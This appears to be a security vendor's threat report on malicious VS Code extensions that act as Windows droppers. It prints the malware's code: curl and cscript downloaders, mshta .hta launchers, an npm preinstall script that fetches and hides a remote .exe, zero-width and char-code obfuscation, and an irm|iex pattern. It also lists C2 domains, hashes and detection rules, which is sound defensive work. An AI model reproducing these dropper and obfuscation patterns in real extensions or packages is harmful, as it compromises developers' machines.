Not every malicious extension is subtle. Some simply ask Windows to run a remote installer and trust that the user will not notice. In the last two weeks of June 2026, Argus caught a cluster of extensions that used almost every Windows installer primitive available.

Executive Summary

  • Campaign family: Windows installer droppers
  • Extensions covered:
    • guavaduck.omnirouter-ai / guavaduck2.omnirouter — curl bash .bat dropper
    • Floriani.mcp-hub — same fdgfdgfdgfdgfhtgftdr.store .bat dropper
    • AppCreationPLC.boardwalk / AppCreationLLP.boardwalkapp / GregoryBoy.ropanel — cscript JScript dropper
    • AppReleasePLC.boardlinkapplication — mshta .hta dropper via Cloudflare Workers
    • CipherLabs.CipherLabsApplication / HuxLabs.huxlabsapp — npm postinstall .exe dropper
    • KsWpsClaude.wps-claude-vscode — irm iex PowerShell installer
  • Detection primitives:
    • fdgfdgfdgfdgfhtgftdr.store/dab.bat curl bash .bat dropper
    • cscript //e:jscript + nice.js JScript dropper
    • Cloudflare Workers .hta + mshta.exe dropper
    • npm postinstall + pooron.org/rg/ice.exe dropper
    • WPS-hosted install.sh / install.ps1 irm iex installer

Why the Vector Works

Developers install software by running remote installers all day. curl -fsSL https://.../install.sh | bash is a normal workflow for open-source tools. The operators in this campaign hide inside that norm. They give their extensions names that sound like AI assistants, board tools, or Claude installers, then use the same primitives a legitimate CLI would use — but with no user consent and no visible confirmation.

Technical Analysis

curl|bash .bat dropper: guavaduck / Floriani

guavaduck.omnirouter-ai-0.1.0 and Floriani.mcp-hub-0.1.0 embed the same hidden command. The 0.1.0 version is plaintext:

require("child_process").exec(
  "cd /d %TEMP%&&curl -sO hxxps://fdgfdgfdgfdgfhtgftdr[.]store/dab.bat && dab.bat"
);

Later variants (guavaduck2.omnirouter-0.1.0) hide the same command in zero-width Unicode characters:

var q = (o) => o.split("").map(
  e => String.fromCharCode(parseInt([...e].map(t => t === "" ? 0 : 1).join(""), 2))
).join("").replace(/\u0000/g, "");
require("child_process").exec(q("​‌‌..."));
// decodes to: cd /d %TEMP%&&curl -sO hxxps://fdgfdgfdgfdgfhtgftdr[.]store/dab.bat && dab.bat

guavaduck2.omnirouter-0.1.0 SHA-256: c7be9abbc07b679e59627a76db95d56e7b3208efb1b0cc3cce99ee7213948821.

The .bat file is a multi-stage PowerShell dropper that ends in a reflective C# loader.

cscript JScript Dropper: boardwalk / ropanel

AppCreationPLC.boardwalk-1.7.0 and AppCreationLLP.boardwalkapp-1.7.0 ship the same extension/src/extension.js. On activation they download a JScript payload and execute it with Windows Script Host:

const scriptUrl = 'hxxps://www.urmomthabomb[.]com/java.js';
const scriptPath = path.join(os.tmpdir(), 'nice.js');
https.get(scriptUrl, (res) => {
  // write res to scriptPath
  const cscriptPath = process.platform === 'win32' ? 'cscript' : path.join(os.tmpdir(), 'cscript.exe');
  const cmd = `"${cscriptPath}" //nologo //e:jscript "${scriptPath}"`;
  cp.exec(cmd, (error, stdout, stderr) => { ... });
});

GregoryBoy.ropanel-4.7.0 keeps the same nice.js drop name but uses a Netlify C2:

const scriptUrl = 'hxxps://velvety-starship-964d18.netlify[.]app/dependencies.js';
const scriptPath = path.join(os.tmpdir(), 'nice.js');
Extension SHA-256
AppCreationPLC.boardwalk-1.7.0.vsix e1405eb7bcbe58b5b378a8ccbcf67ac281182a2062ce2d15f5065257821cf9d3
AppCreationLLP.boardwalkapp-1.7.0.vsix 7d9a2b966a30ed8829e042d4183cefbcbb4cad79498e5b89f5bf0b62cf663e6c
GregoryBoy.ropanel-4.7.0.vsix 69a51a5beacf751b1f3dcff71f23656a7f1860c9a913bf1a96f18409d03f38d6

mshta .hta dropper: boardlinkapplication

AppReleasePLC.boardlinkapplication-1.5.5 decodes its C2 URL from numeric arrays at runtime and launches a hidden .hta payload:

const _c = [104,116,116,112,115,58,47,47];               // "https://"
const _d = [108,105,116,116,108,101,45,98,108,111,99,107,45,54,98,102,54,46,97,115,115,102,108,97,112,104,98,98,46,119,111,114,107,101,114,115,46,100,101,118]; // "little-block-6bf6.assflaphbb.workers.dev"
const _f = [97,117,100,105,111,46,104,116,97];          // "audio.hta"
const url = String.fromCharCode(..._c) + String.fromCharCode(..._d) + '/' + String.fromCharCode(..._f);
// hxxps://little-block-6bf6.assflaphbb.workers[.]dev/audio.hta

It drops a random-name .hta file into os.tmpdir() and runs it with mshta.exe, using a Cloudflare Workers subdomain and a fake User-Agent to blend in.

VSIX SHA-256: 8cf3eb3e4bcd69e4068f432a775e08d06c9f98490797bcbd2ad0779426680968.

npm postinstall .exe dropper: boardflow

CipherLabs.CipherLabsApplication-1.0.1 and HuxLabs.huxlabsapp-1.0.2 bundle a dependency called boardflow@1.2.1. Its package.json declares a preinstall script:

{ "preinstall": "node install.js" }

The obfuscated install.js downloads and runs a remote Windows binary:

const PAYLOAD_URL = 'hxxps://www.pooron[.]org/rg/ice.exe';
const PAYLOAD_NAME = 'tester_' + crypto.randomBytes(8).hex() + '.exe';
const PAYLOAD_PATH = path.join(process.env.TEMP || process.env.TMP || '/tmp', PAYLOAD_NAME);
// download via https.get(...), write to PAYLOAD_PATH, chmod 755
if (process.platform === 'win32') {
  spawn(PAYLOAD_PATH, [], { detached: true, stdio: 'ignore', windowsHide: true }).unref();
} else {
  spawn('chmod', ['+x', PAYLOAD_PATH], { detached: true, stdio: 'ignore' }).unref();
}
Extension SHA-256
CipherLabs.cipherlabsapplication-1.0.1.vsix 0a9b2e8bb26f5e06ccb3b6355ccba58e86ac56cdebf4f5e6b680a9e9f5cd70ae
HuxLabs.huxlabsapp-1.0.2.vsix 6135b2ceda499ec3c9d1cee3210df4504ba03534d1c710fd876f0d3893a08cd5

irm|iex PowerShell installer: wps-claude

KsWpsClaude.wps-claude-vscode advertises a Claude Code integration for WPS. It downloads install.sh or install.ps1 from WPS hosts and runs the Windows equivalent of curl bash:
irm https://.../install.ps1 | iex

This family was already covered in a separate write-up and is listed here only as a related technique.

Why it evades detection

Defender assumption What the campaign actually does  
curl bash is normal for dev tools These extensions run it silently on activation
.bat, .hta, and .js are common file types They are delivery vehicles for remote commands  
npm dependencies are safe until reported postinstall/preinstall scripts can download and run binaries  
A legitimate-looking brand (WPS, board, router) means a real product The names are cover stories for unrelated payloads  
A later version is safer guavaduck2 re-uses the same command in zero-width Unicode to evade string matching  

What we are doing about it

Argus detects each installer primitive behaviorally so that future variants are caught even when the publisher name changes:

  • child_process.exec of curl -sO .../dab.bat && dab.bat, including zero-width encoded variants
  • cscript //e:jscript execution of dropped nice.js from Netlify / urmomthabomb.com C2s
  • Cloudflare Workers .hta payloads executed via mshta.exe
  • npm preinstall/postinstall scripts that fetch pooron.org/rg/ice.exe
  • WPS-hosted install.sh / install.ps1 invoked through irm|iex

Focused retro-hunts for these primitives found no additional siblings, which suggests the operators are iterating quickly and publishing small batches rather than a long-lived campaign.

Remediation and recommendations

  1. Block the known C2 domains and install scripts: fdgfdgfdgfdgfhtgftdr.store, pooron.org, velvety-starship-964d18.netlify.app, little-block-6bf6.assflaphbb.workers.dev, and the WPS install hosts.
  2. Treat silent remote installers as malicious by default in managed VS Code: environments.
  3. Disable npm postinstall and preinstall scripts for extensions that bundle dependencies.
  4. Alert on cscript, mshta, cmd /c, curl ... | cmd, and powershell irm|iex spawned from extension processes in EDR policies.

Indicators

Technique Extension(s) C2 / Payload VSIX SHA-256
curl|bash .bat guavaduck.omnirouter-ai, guavaduck2.omnirouter, Floriani.mcp-hub fdgfdgfdgfdgfhtgftdr.store/dab.bat f5cbeeadd696e3cae14cb5bb7de5fee602228239ec56bc66de6056b834afb64b
cscript JScript AppCreationPLC.boardwalk, AppCreationLLP.boardwalkapp, GregoryBoy.ropanel urmomthabomb.com/java.js, velvety-starship-964d18.netlify.app/dependencies.js e1405eb7bcbe58b5b378a8ccbcf67ac281182a2062ce2d15f5065257821cf9d3
mshta .hta AppReleasePLC.boardlinkapplication little-block-6bf6.assflaphbb.workers.dev/audio.hta 8cf3eb3e4bcd69e4068f432a775e08d06c9f98490797bcbd2ad0779426680968
npm postinstall .exe CipherLabs.CipherLabsApplication, HuxLabs.huxlabsapp www.pooron.org/rg/ice.exe 0a9b2e8bb26f5e06ccb3b6355ccba58e86ac56cdebf4f5e6b680a9e9f5cd70ae
irm|iex PowerShell KsWpsClaude.wps-claude-vscode WPS-hosted install.ps1 (covered separately)

The Windows installer dropper family is not a single campaign. It is a playbook. The operators share the same insight: if an extension can make Windows fetch and run a file, they do not need a complex payload. They just need a convincing name.